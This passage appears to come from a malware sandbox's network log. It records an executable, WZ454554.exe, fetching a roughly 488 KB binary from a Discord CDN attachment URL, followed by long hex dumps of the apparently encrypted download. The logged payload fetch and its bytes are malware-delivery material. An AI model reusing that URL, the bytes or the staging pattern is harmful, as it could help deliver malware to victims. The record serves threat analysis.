4a d2 e3 10 0a 4e 76 c5 24 2f 8c 3c 60 e7 b9 f5 dc f6 e0 75 0a b8 22 77 48 a3 e9 be 78 a3 f6 34 7e d2 52 91 ec 77 92 67 05 de 30 1d e9 36 27 e3 03 c0 07 Data Ascii: J0MuP_<H7Kh$k*-gm$w-fD6x{5>BC.g&Lw,]0bdG_czLB\|Q:EnRZ1M0M3y/IZGP}?.f4R3UlL8@V\a`Dx03_5"JNv$/<`u"wHx4~Rwg06'
2022-01-13 19:22:17 UTC	53	IN	Data Raw: 36 db e6 2a 0d ca e8 fe 42 6b 1a a9 22 cd 36 19 9b ec fa cb 99 40 31 be df 0e 5a 43 09 18 5e f1 33 f7 62 27 a8 0a b3 a1 f2 2e 16 fc 70 be c1 c5 c0 fd cb 79 3e 50 c3 ae 26 64 97 21 ab b9 50 c5 17 88 1b 07 66 16 fd 36 39 ae 3d be d8 b3 93 ec ba 66 1e 53 40 39 a9 7d e1 aa 49 29 54 ee a3 81 ce e3 16 09 47 00 b2 7e 5f b9 af 8a 4d 58 ec a9 48 e9 38 26 05 e3 d8 3a e6 dc fc c2 74 9f 86 5f 76 ca e7 03 21 ec b0 86 f4 fd e4 b6 2e 1e 8b 1f fb bc dc 6b 1f e9 33 39 1a 6f 15 da 99 88 5e 27 f2 44 27 14 9e 6b f5 7f d3 73 5b e3 b2 2e 0b c3 55 09 9c bf 77 2d 87 c2 bc d0 5d 6d 08 bb e5 86 bc f7 df 0b c5 b5 6f 15 aa 21 62 8f e6 bf 0a ac 73 56 79 ae 17 dc 84 41 d3 12 57 0a 84 45 48 57 95 9f da 8a d5 77 22 72 4b 8e 01 29 5e 87 70 12 6e 8c 55 61 23 86 59 39 ae 35 94 c2 46 2f ad Data Ascii: 6*Bk"6@1ZC^3b'.py>P&d!Pf69=fS@9}I)TG~_MXH8&:t_v!.k39o^'D'ks[.Uw-]mo!bsVyAWEHWw"rK)^pnUa#Y95F/
2022-01-13 19:22:17 UTC	54	IN	Data Raw: 47 50 db 0c 57 c7 71 20 71 21 b2 44 5f 9a e9 48 c4 da 9c 6c 35 3f a7 83 da 97 86 47 4e d1 75 30 fd 1c 19 91 bc 9b 08 14 18 57 38 3d e4 99 8c ed 4c cc be fe 58 f0 57 a4 08 c7 d5 bb 28 7b 3c 61 81 db 0a 57 bd 22 c7 a9 de e9 80 3d 09 8f ee d1 0e 56 da c0 9f 4e d2 f7 d6 9f c7 c7 45 0f 13 70 d1 b8 61 86 25 3d 9a 08 1b e5 97 e4 e5 3a 31 9b 91 a7 2f 37 4f 84 1d f0 c1 46 ac 38 22 7d c5 60 a7 87 de 80 41 4b 8d 87 47 e2 36 0f c4 d4 9f 51 e0 93 f7 d7 17 da 13 3b b2 a3 73 2b 12 a6 13 07 d4 22 cd 7d 2f 82 0e eb a3 3c 2f 8d f2 59 5a ff c3 49 eb 76 dd 56 eb 75 d5 d9 e2 05 3d be cb 08 c6 cf ed b5 b1 ba 67 b2 56 bc c2 40 c5 40 49 da ea 63 62 d0 fa 09 26 3d a2 10 51 2d c4 d9 4b 40 7e ac 5c 59 c4 77 30 0c 47 3f fa 4b 24 6e f3 f5 c5 5c 03 f4 10 f9 0a e7 26 29 2f a7 d6 43 2c Data Ascii: GPWq q!D_Hl5?GNu0W8=LXW({<aW"=VNEpa%=:1/7OF8"}`AKG6Q;s+"}/</YZIvVu=gV@@Icb&=Q-K@~\Yw0G?K$n\&)/C,

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49747	162.159.130.233	443	C:\Users\user\Desktop\WZ454554.exe

Timestamp	kBytes transferred	Direction	Data
2022-01-13 19:22:17 UTC	58	OUT	GET /attachments/801846679439016010/931166967853875200/Hyrzbcwcasllzbwmlqsydewtjitxnzf HTTP/1.1 User-Agent: 97 Host: cdn.discordapp.com Cache-Control: no-cache
2022-01-13 19:22:18 UTC	59	IN	HTTP/1.1 200 OK Date: Thu, 13 Jan 2022 19:22:18 GMT Content-Type: application/octet-stream Content-Length: 488448 Connection: close CF-Ray: 6cd0fe164e4342fd-FRA Accept-Ranges: bytes Age: 21537 Cache-Control: public, max-age=31536000 Content-Disposition: attachment;%20filename=Hyrzbcwcasllzbwmlqsydewtjitxnzf ETag: "6ce484ddb0699821883415a6a3c03422" Expires: Fri, 13 Jan 2023 19:22:17 GMT Last-Modified: Thu, 13 Jan 2022 12:45:05 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" x-goog-generation: 1642077905426119 x-goog-hash: crc32c=ezqS6w== x-goog-hash: md5=bOSE3bBpmCGINBWmo8A0Ig== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 488448 X-GUploader-UploadID: ADPycdvRzXtsPBcamJvr00nxQdLhRJEMoAYpY8SiWiAVO9bYx2AneSL0MYtS-kyeIcV-aXT9cMB6Wue_WC7NzP4DAPhWzq96GQ X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
2022-01-13 19:22:18 UTC	60	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 33 3f 73 3d 48 31 37 47 73 71 30 6c 5a 70 62 56 6a 41 69 38 6f 44 75 4d 75 25 32 42 31 31 51 44 52 64 6e 68 39 61 42 43 69 42 4c 45 33 68 59 4c 4f 53 68 45 61 43 6a 64 59 70 6b 4f 69 43 43 56 7a 68 45 54 70 78 33 56 39 64 52 50 45 35 37 76 4e 44 6b 4b 72 49 70 37 57 75 42 76 59 37 6b 30 4f 67 6c 25 32 42 78 4a 4d 50 25 32 42 51 41 5a 76 25 32 42 37 44 25 32 42 49 4f 54 4e 53 31 37 39 39 42 56 54 66 58 46 63 7a 48 61 31 61 64 78 6c 74 4a 41 25 33 44 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=H17Gsq0lZpbVjAi8oDuMu%2B11QDRdnh9aBCiBLE3hYLOShEaCjdYpkOiCCVzhETpx3V9dRPE57vNDkKrIp7WuBvY7k0Ogl%2BxJMP%2BQAZv%2B7D%2BIOTNS1799BVTfXFczHa1adxltJA%3D%3D"}],"group":"cf-nel","max_a
2022-01-13 19:22:18 UTC	60	IN	Data Raw: 18 da 04 39 22 f7 4a 5b f6 c6 57 ec 36 9e 95 6a 0a 39 28 89 53 db 8c ce 77 a1 05 b7 39 27 6e 03 b6 bc 46 4a 4f d3 fa c1 d4 73 af 2f 14 d5 ef a1 14 d3 f5 4f d3 ff 5d e6 22 fd 51 df 91 68 1e f2 d8 01 a4 9a f9 4b cf e2 1b 6d 90 e2 18 dc 1f 74 30 95 7c 33 1d 6c 16 c8 64 0b 49 cd ea 2f 00 30 8a de 1d 61 fa d5 fe ca 60 72 2d 0f 4d d3 eb a8 84 cb e7 ae ad 23 74 38 a3 1f 65 83 4e 55 f4 dc 17 5d f8 c4 5e 7c 3b 3a af 25 73 a2 8a d8 16 c0 49 ce 7e 36 9b 7b b9 d1 f1 b3 3d 2b 03 af 3b 32 8e e5 ad 2e 89 53 de 03 a9 10 c2 51 df 94 ff 44 a6 90 e8 20 ea 2a 84 dc 08 37 28 84 c8 62 11 55 fc d1 f8 c4 5e 7c 3b 3a af 25 73 a2 8a d8 16 c0 49 ce 7e 36 9b 7b b9 d1 f1 b3 3d 2b 03 af 3b 32 8e e5 ad 2e 89 53 de 03 a9 10 c2 51 df 94 ff 44 a6 90 e8 20 ea 2a 84 dc 2d 2e ac 8a c9 f7 58 Data Ascii: 9"J[W6j9(Sw9'nFJOs/O]"QhKmt0\|3ldI/0a`r-M#t8eNU]^\|;:%sI~6{=+;2.SQD 7(bU^\|;:%sI~6{=+;2.SQD -.X
2022-01-13 19:22:18 UTC	61	IN	Data Raw: e8 a0 00 a7 82 5f 6b 1f f7 d8 8a 47 5c f5 d7 06 af a5 86 4d 5a e2 82 5d 78 b5 ba cc e5 23 e6 bd 4c d7 1e 78 a0 00 b0 2f 8a 54 e3 03 2a 06 b5 a4 0d cd 68 8b c4 de 99 ff ce e1 18 47 59 64 86 48 c8 fa 57 66 94 72 ba d6 9e 1a 6c 96 70 a0 11 ce e1 0b ce fe 40 29 93 ee a8 1f eb 31 94 72 bc d4 f2 4f 4e db 03 28 00 bb 59 7f d2 f6 54 fd db 16 45 40 36 18 52 db 0c 4d 55 6e 80 5a ed 2e 11 c4 d9 0c 45 51 59 77 37 a9 81 da 8f e6 a7 85 d2 e1 08 a7 9e 1e 7b 24 77 26 79 37 a7 90 6c 9e 07 33 82 59 61 64 94 61 79 3a 35 80 50 da 8a 48 de 8d ea b1 b0 29 8e 7f d8 95 fa 4b 4a c5 45 5b 68 81 cc ee af ae 20 6d 03 36 04 bd 4c d6 84 42 30 17 c8 fb dc 9c 03 2e 0e 42 22 7e a2 13 d0 f5 c7 7e a7 82 5d 6a 81 c5 4f 5b 7d 27 fb d6 9d 8f ec a0 0c 41 a4 00 bb 54 fc 52 c4 c0 df 07 2a 04 a2 Data Ascii: _kG\MZ]x#Lx/ThGYdHWfrlp@)1rON(YTE@6RMUnZ.EQYw7{$w&y7l3Yaday:5PH)KJE[h m6LB0.B"~~]jO[}'ATR
2022-01-13 19:22:18 UTC	63	IN	Data Raw: e3 16 58 f2 49 58 e8 a0 00 a7 82 5f 6b 1f f7 d8 8a 47 5c f5 d7 06 af a5 86 4d 5a e2 82 5d 78 b5 ba cc e5 23 e6 bd 4c d7 1e 78 a0 00 b0 2f 8a 54 e3 03 2a 06 b5 a4 0d cd 68 8b c4 de 99 ff ce e1 18 47 59 64 86 48 c8 fa 57 66 94 72 ba d6 9e 1a 6c 96 70 a0 11 ce e1 0b ce fe 40 29 93 ee a8 1f eb 31 94 72 bc d4 f2 4f 4e db 03 28 00 bb 59 7f d2 f6 54 fd db 16 45 40 36 18 52 db 0c 4d 55 6e 80 5a ed 2e 11 c4 d9 0c 45 51 59 77 37 a9 81 da 8f e6 a7 85 d2 e1 08 a7 9e 1e 7b 24 77 26 79 37 a7 90 6c 9e 07 33 82 59 61 64 94 61 79 3a 35 80 50 da 8a 48 de 8d ea b1 b0 29 8e 7f d8 95 fa 4b 4a c5 45 5b 68 81 cc ee af ae 20 6d 03 36 04 bd 4c d6 84 42 30 17 c8 fb dc 9c 03 2e 0e 42 22 7e a2 13 d0 f5 c7 7e a7 82 5d 6a 81 c5 4f 5b 7d 27 fb d6 9d 8f ec a0 0c 41 a4 00 bb 54 fc 52 c4 Data Ascii: XIX_kG\MZ]x#Lx/T*hGYdHWfrlp@)1rON(YTE@6RMUnZ.EQYw7{$w&y7l3Yaday:5PH)KJE[h m6LB0.B"~~]jO[}'ATR
2022-01-13 19:22:18 UTC	64	IN	Data Raw: 75 2e 07 2b 89 d4 e3 16 58 f2 49 58 e8 a0 00 a7 82 5f 6b 1f f7 d8 8a 47 5c f5 d7 06 af a5 86 4d 5a e2 82 5d 78 b5 ba cc e5 23 e6 bd 4c d7 1e 78 a0 00 b0 2f 8a 54 e3 03 2a 06 b5 a4 0d cd 68 8b c4 de 99 ff ce e1 18 47 59 64 86 48 c8 fa 57 66 94 72 ba d6 9e 1a 6c 96 70 a0 11 ce e1 0b ce fe 40 29 93 ee a8 1f eb 31 94 72 bc d4 f2 4f 4e db 03 28 00 bb 59 7f d2 f6 54 fd db 16 45 40 36 18 52 db 0c 4d 55 6e 80 5a ed 2e 11 c4 d9 0c 45 51 59 77 37 a9 81 da 8f e6 a7 85 d2 e1 08 a7 9e 1e 7b 24 77 26 79 37 a7 90 6c 9e 07 33 82 59 61 64 94 61 79 3a 35 80 50 da 8a 48 de 8d ea b1 b0 29 8e 7f d8 95 fa 4b 4a c5 45 5b 68 81 cc ee af ae 20 6d 03 36 04 bd 4c d6 84 42 30 17 c8 fb dc 9c 03 2e 0e 42 22 7e a2 13 d0 f5 c7 7e a7 82 5d 6a 81 c5 4f 5b 7d 27 fb d6 9d 8f ec a0 0c 41 a4 Data Ascii: u.+XIX_kG\MZ]x#Lx/T*hGYdHWfrlp@)1rON(YTE@6RMUnZ.EQYw7{$w&y7l3Yaday:5PH)KJE[h m6LB0.B"~~]jO[}'A
2022-01-13 19:22:18 UTC	65	IN	Data Raw: d4 fc e2 54 91 51 72 a1 86 4c b9 e6 1a c1 15 d2 58 b8 39 39 ea b1 50 82 2e ad df 7a 7b 3e 2c a7 ce e6 37 c9 7e 56 2e 7f 2a 95 fc 52 df b7 80 b8 16 cc ae 52 4f b8 22 d1 cd 04 b1 be 67 ea aa 87 68 ee 23 9a 03 4f c6 3f a5 f1 4d 20 74 6c 69 19 dc 1d e0 12 4a 6f f9 d6 0d 34 0f 5a ba bd bf 28 17 7d 88 48 63 71 a4 9e 6a ee 7e 57 67 72 72 df 04 d3 a2 bc db c3 79 4a b0 fc 36 db 78 b5 65 38 5f 1a bd 8b f8 32 62 45 af 08 86 9b fd a9 37 46 d7 a5 a6 b9 7e 6f 05 59 b4 27 99 17 1b 91 59 b6 57 84 9d ed 87 0e 26 6f a6 76 01 4f 58 4a 7e bc 61 9f 98 20 cb f9 21 8f 1a 50 c7 82 20 c9 74 fc de 07 82 24 db 6f 3d d1 e7 52 ad 31 75 39 de ea d4 ea 5c 76 b5 bd f3 05 59 e6 7e 08 a9 dd 66 7c 9f 26 96 69 33 1a 1c 96 de ea 1f 00 1e b1 f1 2d d5 31 d0 14 6b 57 b8 e3 08 5e 42 1e fe c9 6f Data Ascii: TQrLX99P.z{>,7~V.*RRO"gh#O?M tliJo4Z(}Hcqj~WgrryJ6xe8_2bE7F~oY'YW&ovOXJ~a !P t$o=R1u9\vY~f\|&i3-1kW^Bo
2022-01-13 19:22:18 UTC	67	IN	Data Raw: 85 91 ca 32 a8 b6 2e 0a b1 fc 72 81 10 89 69 d4 f8 41 a9 f2 b1 39 fc 80 f5 13 d3 7b 2c bc ac 5a 6c 43 04 7e ad ae 37 df 0b ca 8c 84 f0 62 94 7a b7 da 4f 98 d2 3e d6 52 d0 fc 43 f8 b9 c8 5f bf bf 8e 68 9c 0a e2 5f a5 37 6f af 6e 8f ef 3c af d1 0f 37 7c 50 14 5c e4 a1 2b 18 fa dd cb 85 e4 b6 2b 85 b0 2c 0c 23 31 71 0f cc ea bb 8f 4e 4c 52 19 6e aa 2b 95 e5 46 cb 61 19 17 60 ce fb cf 62 09 5a 92 eb e8 1c 55 72 ab ae b2 8c eb 5a 27 4f 71 32 00 a5 20 50 f2 6c 54 53 6e 92 7e a8 92 6f 19 e7 e2 2a 3d b8 28 1d bc 4a 35 70 7b 8c 4f 59 61 77 1b 3b 71 9e c6 31 96 73 33 87 43 fd 90 61 a4 f4 57 63 1d fe 2f e3 78 c3 94 d7 0d d6 9e 02 0f 7f 7d 48 1b 0e 40 37 ab b5 f8 be 35 de 4c 3f b2 3f ba cd 9a 1d 87 51 84 f5 d5 71 2d 87 29 f1 5b f8 97 40 30 1f fd cf bb 13 81 fa 96 93 Data Ascii: 2.riA9{,ZlC~7bzO>RC_h_7on<7\|P\++,#1qNLRn+Fa`bZUrZ'Oq2 PlTSn~o*=(J5p{OYaw;q1s3CaWc/x}H@75L??Qq-)[@0
2022-01-13 19:22:18 UTC	68	IN	Data Raw: b9 6a a3 59 b0 97 dc 9f 86 4d 6a 71 c6 4d 95 4e e4 a1 8d ea 84 89 00 12 96 c8 d3 6e 9d 9d 55 20 29 a5 49 a7 bc cf 66 95 f4 3d d1 ac f3 74 9a 7e a3 83 c5 45 4a c2 1c d6 ac 20 6f 12 b7 bf 53 67 d1 9e 34 1c 71 2f 55 3f e4 86 93 58 ce e1 0b c6 79 bb b3 a4 de 3c 26 60 f1 28 05 e4 7c 07 ff 31 8e 61 6c 85 b8 55 00 c7 aa 93 f9 c2 c1 5f 5e 23 31 da 57 82 42 34 0b cc 45 c9 ef 34 c4 30 15 d4 eb 30 5c 70 25 11 15 3e 2e 0f da 9a 3d 28 81 98 bc 79 3b a2 00 a8 99 9c 76 22 b6 cb 71 25 f6 43 aa 86 c3 15 09 87 b4 27 f4 49 8c 96 bc 94 ba 28 7b 2d 95 e1 78 7e 7c 19 1e d1 0c 45 4d 59 97 f0 af 8a 8f 5e 8b db 1f fe a5 bb 6b 8a 87 3f d1 67 03 25 1a 39 fa 5a 20 9e 6d 19 c9 71 d8 e6 c3 be 13 7d 55 69 05 24 41 0e fc c9 a4 a9 14 5f 67 1b c0 0f 06 e7 e3 b1 30 11 df 07 84 e5 8a 3a f7 Data Ascii: jYMjqMNnU )If=t~EJ oSg4q/U?Xy<&`(\|1alU_^#1WB4E400\p%>.=(y;v"q%C'I({-x~\|EMY^k?g%9Z mq}Ui$A_g0:
2022-01-13 19:22:18 UTC	69	IN	Data Raw: ad 6b 5d 69 01 fe b2 30 01 3c 39 f5 27 95 ee 62 3f bc c1 54 ed c7 00 9a de 51 e5 2b 9e 09 2a ac f1 ce 6d cf c4 db 10 4b 5a e7 24 7a be 18 e5 31 9a 74 b6 a9 a6 53 b0 f7 77 22 65 12 4e ed 22 51 03 e9 cb 75 25 f2 55 43 63 0c 5c 36 ef 4c d9 1a 6a fe 09 84 63 cd dc f6 5f 71 27 50 c5 fa 97 2b 6d 60 f7 dc 8f 47 27 0a 31 4e 38 42 2e 1d ea 3e 53 4c 78 75 ce 89 d1 77 3a a6 27 56 fc 92 da e7 2f 82 50 83 de 8a f5 0e fd be c4 c6 ce 49 46 78 d6 5a 5a 16 4d 5d 7a 6b 05 64 6a 5a 5e 76 be da 87 cf d0 bf 13 11 7c 31 9e 10 5c 99 95 a2 c6 1b 55 e0 8c 49 54 f5 6a 6e 20 b5 0c b9 4c dc 86 b6 37 85 6d da 65 8d e4 b4 28 d0 f6 ac 15 0c a5 7c b2 2c 1f 56 21 c8 58 29 3a 99 eb 2c 0e 88 fd b3 23 29 6f f0 ba ce e7 27 a9 59 35 42 d5 94 61 77 26 32 28 03 38 fb 6a 7b 32 19 d3 71 4f 3b e6 Data Ascii: k]i0<9'b?TQ+*mKZ$z1tSw"eN"Qu%UCc\6Ljc_q'P+m`G'1N8B.>SLxuw:'V/PIFxZZM]zkdjZ^v\|1\UITjn L7me(\|,V!X):,#)o'Y5Baw&2(8j{2qO;
2022-01-13 19:22:18 UTC	71	IN	Data Raw: 38 2e c8 ab 3f 4e 01 98 0b d6 9e 19 5a 3d 17 86 8d 5a 89 c0 df 08 22 56 0b c4 1d 54 86 57 69 1a bb 6a 3f 90 bf f3 ae 3b ac 3b dd 30 8e 9c dd ff ad a7 8d fc e2 39 bb 51 8d 56 1c 62 9d 91 f6 6f 1f 55 ad 17 5c f1 3c 23 98 01 11 7a 6b fd 53 5f 6d 14 d1 6d 86 3a eb 85 4e c2 c4 dc 25 c9 81 86 9d 2c 8b c0 dc 9a 9c d8 9a c4 12 a2 fc 52 cf 60 87 3c ea 8d 2a b6 cb 63 17 d6 bc dd b6 11 10 a1 31 9d 93 e1 3e e5 12 ed eb da 67 09 2d 8b be 61 35 74 70 48 74 ad b4 26 b7 c9 e2 5d b2 83 79 38 2a 05 84 24 3a 93 28 f0 c6 dd 1d e3 1d e3 43 1a be 70 da 9f 82 4a 97 7f 21 e8 7c 56 b8 2e 13 c1 17 96 c5 55 a5 2e 5a ec bf 44 b9 fc 21 e0 4e 6e cd 6a 80 51 13 bc 80 81 1b 0f 96 61 71 29 ed 1b d1 e6 6a 62 cc ef 2f 84 c0 b9 38 38 fb 7c fe 53 4a dc e7 cb 59 25 3b 10 00 a7 84 5b d3 3a 1d Data Ascii: 8.?NZ=Z"VTWij?;;09QVboU\<#zkS_mm:N%,R`<c1>g-a5tpHt&]y8$:(CpJ!\|V.U.ZD!NnjQaq)jb/88\|SJY%;[:
2022-01-13 19:22:18 UTC	72	IN	Data Raw: 22 8a 5d e1 54 96 94 64 41 98 0c fa 64 83 c6 c2 c9 b7 69 76 19 e0 8d ee aa 3d d5 63 a1 79 52 7f 83 be 6c 7a bc 65 03 f3 f3 b9 b1 9f 88 42 33 87 10 84 3e 8c 63 14 45 45 5b 19 dd 87 20 14 cd 2e 67 a8 01 f6 7f b4 c6 e3 10 40 37 a6 d8 40 5e 12 6f 15 cc f6 59 1c 70 0a 4c ad 0e 18 2d 2c 07 ea 8f 95 44 1c 79 3f b9 4b 9d 54 98 94 55 62 82 50 d6 e0 90 c0 26 15 42 6a e6 36 1c a6 2c 71 c9 41 a9 80 4d 53 84 96 1d 59 54 ee b0 23 f5 a0 1c f2 c5 3b 3b 1c 04 1c 77 fd f9 a5 76 84 50 c9 66 9d 5f bb 3d 1a 4f 5e f9 cf 75 5a e5 ca 6a fc 4a c3 54 e6 08 eb 5e 9d 6d 65 19 c0 d4 55 20 0a 31 a7 03 6e ec 52 24 03 51 84 ec df 17 aa 2a 0c 81 e3 75 bf 7c 61 66 f7 7e 90 74 b5 ab a1 26 97 60 e6 1f d2 f9 cb 6a 80 cf 5b d3 56 23 f1 5c 18 66 89 de 96 6c 3a 44 9a 63 e9 15 db 0b c9 63 cc c0 Data Ascii: "]TdAdiv=cyRlzeB3>cEE[ .g@7@^oYpL-,Dy?KTUbP&Bj6,qAMSYT#;;wvPf_=O^uZjJT^meU 1nR$Q*u\|af~t&`j[V#\fl:Dcc
2022-01-13 19:22:18 UTC	73	IN	Data Raw: 3c 85 8d 7f de 48 18 36 ec b2 94 3d b8 fb dd 66 35 b6 26 7a b5 a4 91 bf e6 bf e1 5d 7c 47 15 bf e8 54 e0 46 d2 81 75 04 b3 b9 4f 52 7d ce 36 18 82 44 46 1a 57 01 98 52 d8 89 cc f3 5b 26 de 84 81 e0 f1 c8 f9 67 48 c5 bf 71 25 f7 d5 65 a3 c8 7a ba 0b 03 45 cb 64 2e 49 47 95 f3 b2 80 7a b4 37 bc cc 19 51 f8 57 94 e2 f1 a8 97 e8 04 4d 4f 94 7a d2 4e f0 ac 2a 1c 60 58 aa f5 dc 17 29 8d 2c 07 43 0c 7e b3 a5 84 42 9e fd 0c 57 aa 04 c3 91 d7 7c 05 04 26 fe 49 a0 22 72 a2 0e 54 71 a2 d5 74 75 f3 b9 cb 5b db 83 c5 92 62 e8 14 74 ad bc d1 74 21 b0 ec b5 0e 81 b4 c7 20 7a b1 54 85 65 5b 7b 5b 9b 68 91 f8 45 a0 11 10 44 5f c9 41 b1 b9 4b 47 ed be 1f f6 f4 79 25 f4 4c d1 aa 1a 0a 19 f1 ed 26 12 f5 fa 5e fc 5a f2 d1 38 c4 c4 6e b6 22 68 98 77 d3 75 b9 1a 7c 78 a0 6a 79 Data Ascii: <H6=f5&z]\|GTFuOR}6DFWR[&gHq%ezEd.IGz7QWMOzN*`X),C~BW\|&I"rTqtu[btt! zTe[{[hED_AKGy%L&^Z8n"hwu\|xjy
2022-01-13 19:22:18 UTC	75	IN	Data Raw: b1 68 df 80 7b 64 47 ef 24 c5 d0 91 06 e4 a3 82 4b a6 a5 ef 88 00 a6 1f fe f6 2d eb ad 3b b8 41 bc d1 f7 fe c4 30 62 3a 47 5a f1 54 4a 26 7c 1f 54 11 bc d4 f3 a0 0c bf fb ca ee 2e b9 be bd 45 5b fa 72 1c b9 2a e0 e0 8d a1 c3 fd 65 75 bc da 2b 68 fa 4a 69 ae 41 b1 56 9b aa 93 58 61 0e 57 03 62 0f 03 37 ac 24 6a 3a 72 a3 96 69 b3 09 3e c1 a3 9a 05 67 1b 15 91 f4 4c 96 18 bc 7a 73 6b 17 4f ee d9 9e 44 3b 6d 1d 95 41 11 79 59 78 cd fe 18 44 93 97 f7 ce ea d4 68 6b 75 8d ee 0f 6c 26 06 57 d0 8d fe 0a 69 86 29 8d 00 43 44 46 c4 d5 d5 d1 19 95 f8 56 9d e2 e7 23 cd 2c 0d c3 cd 17 30 ce 84 bc de 6b 51 bc 5e 6a 2d e2 82 40 de 2b 3f 51 e8 4d 17 26 2d 46 7d a1 c1 48 d9 05 29 93 e3 01 5d 10 56 f5 61 d8 f2 22 6d 13 86 51 3c 8c e6 c0 a3 c1 51 69 b8 26 67 5e f7 9a 60 ea Data Ascii: h{dG$K-;A0b:GZTJ&\|T.E[r*eu+hJiAVXaWb7$j:ri>gLzskOD;mAyYxDhkul&Wi)CDFV#,0kQ^j-@+?QM&-F}H)]Va"mQ<Qi&g^`
2022-01-13 19:22:18 UTC	76	IN	Data Raw: 5e 46 d1 74 e3 1c 28 66 16 cf 2e 1a 6f 13 af 20 4c ad 7c 0c 96 07 3b 1a 7a 74 4a 1c 0f c1 1c 60 38 93 32 a6 05 6b 11 13 6f d3 2a 18 1f fe 97 4c 0a e0 98 3f bf 85 25 c7 2f 8c 37 a2 d7 e9 10 05 3a 7a b4 f8 a2 31 cb 71 79 3e ed 82 7f 9f 91 a0 1b b6 a9 2f ab a7 ec fc 48 dd ad 67 8a 1a 6e 37 46 9a 6e 93 f8 14 3a 43 bc 81 2c 05 32 f9 0f ce 5c 13 6b 5d 65 0d d4 9b 92 76 a6 44 3c 36 8f 8b 0c 39 b1 c8 50 d6 9f 67 d6 e4 be 13 be 67 ed e0 e2 31 0f 99 e1 1b f6 36 16 b3 5a ed 33 32 b5 00 d3 72 a4 13 39 6d 13 b7 a5 2c e8 ba d7 a5 05 24 7a a2 1c cc d9 c7 81 c3 56 e9 48 9a ec 0e dc 1d 09 a3 8a 2d 3f a3 93 f4 9c 5e 6d a3 09 70 cb 77 31 8c c0 3d e9 22 6d 0a df b6 83 50 bd 24 65 8c fc 52 c6 30 da f0 5e 36 5d 31 74 d3 74 c8 49 3e 91 be c6 c0 d1 72 04 59 35 85 c9 70 c5 19 c7 Data Ascii: ^Ft(f.o L\|;ztJ`82ko*L?%/7:z1qy>/Hgn7Fn:C,2\k]evD<69Pgg16Z32r9m,$zVH-?^mpw1="mP$eR0^6]1ttI>rY5p
2022-01-13 19:22:18 UTC	77	IN	Data Raw: 29 44 4f ea 0e 55 7c b5 2f d4 85 86 55 37 a8 fc c1 14 5b 7f d0 8f 98 7a b8 61 7e ac 85 76 f3 c9 6f 0d a9 8e 17 53 5d 6a ca f4 da 69 68 f5 50 73 71 31 9a 60 95 f5 0c ca e6 ad e0 ed 71 22 61 19 83 c9 7b 4f 81 1d 51 8e e4 c9 c3 f6 16 4e ca e2 e5 28 8c af b3 b2 a9 3b 17 91 f4 56 e1 a7 43 a2 63 1f 75 8b d4 fd 80 5b db e9 f6 3b 31 32 4b 42 2f 92 08 bc 8b 56 e7 3b ff d5 32 7f 50 79 7b 33 84 52 bc b5 2c 9f 75 48 c8 fa ff 1c e9 4a d5 6d 1d 7d 37 a1 88 e7 f8 cc 0e 96 3c 5e bd 06 6c 90 79 37 a6 4a 61 46 85 11 89 35 0e fe 12 46 cc f7 9f 9a 0f 00 42 60 f0 af b9 41 a3 29 07 30 13 73 8f ab b7 ab af d3 eb 9b e8 a0 02 b2 53 5d 33 2e 13 cd c9 d3 3c 3f a0 1d b1 a9 f8 4e fb 39 a7 90 c1 fe 19 d9 0d c2 b5 0e 9a 0f a2 0c 6d 5e ff d2 ad 97 71 1b 93 b7 a4 46 c9 1b 84 50 bb 21 e9 Data Ascii: )DOU\|/U7[za~voS]jihPsq1`q"a{OQN(;VCcu[;12KB/V;2Py{3R,uHJm}7<^ly7JaF5FB`A)0sS]3.<?N9m^qFP!
2022-01-13 19:22:18 UTC	79	IN	Data Raw: 20 31 6b 45 4d f8 2d 49 24 d1 ce 13 a8 58 f9 86 50 91 ec e1 17 8c 43 f5 c7 2a 1b 77 b2 d9 19 c3 58 9a 3a 24 63 36 b2 08 eb fb 52 1b 44 07 7a 66 5d 1c 0b 9f 1c 0e df 14 32 8e 2e 6a c7 69 77 3f 6e 02 a2 0b 39 7a 0a 79 52 3c 99 e6 d6 93 ef 75 a0 62 10 a4 02 dc 94 7c 1e 83 29 ff cd 6c 05 84 53 3b a2 03 b8 d2 13 ad a5 9d 95 67 a8 04 b6 88 8b cd b7 b6 23 f7 d1 24 28 de c3 18 55 4e 94 07 41 fb c8 99 fb b0 b5 b5 0a b8 4f 5a ec aa 4b df 4d 20 2b 6e ae 44 d7 ff d0 f5 c2 7f 37 d2 1c 78 c0 68 ff c1 42 39 de 61 4b 06 b3 ab ba d8 ea 0f 24 66 8a 50 d6 00 8e 11 19 33 91 6a 91 18 40 f2 a8 13 97 f0 fb dc df b7 55 71 77 bd d2 ec bc c3 5f 73 0b 9f 91 e1 94 49 05 37 a1 90 7a cc 75 b1 91 f9 d1 65 64 db a6 ba e6 a7 9c 07 2d 4b 10 54 ee 27 a9 e8 e5 2d dd 08 24 c2 c9 79 22 62 ea Data Ascii: 1kEM-I$XPC*wX:$c6RDzf]2.jiw?n9zyR<ub\|)lS;g#$(UNAOZKM +nD7xhB9aK$fP3j@Uqw_sI7zued-KT'-$y"b
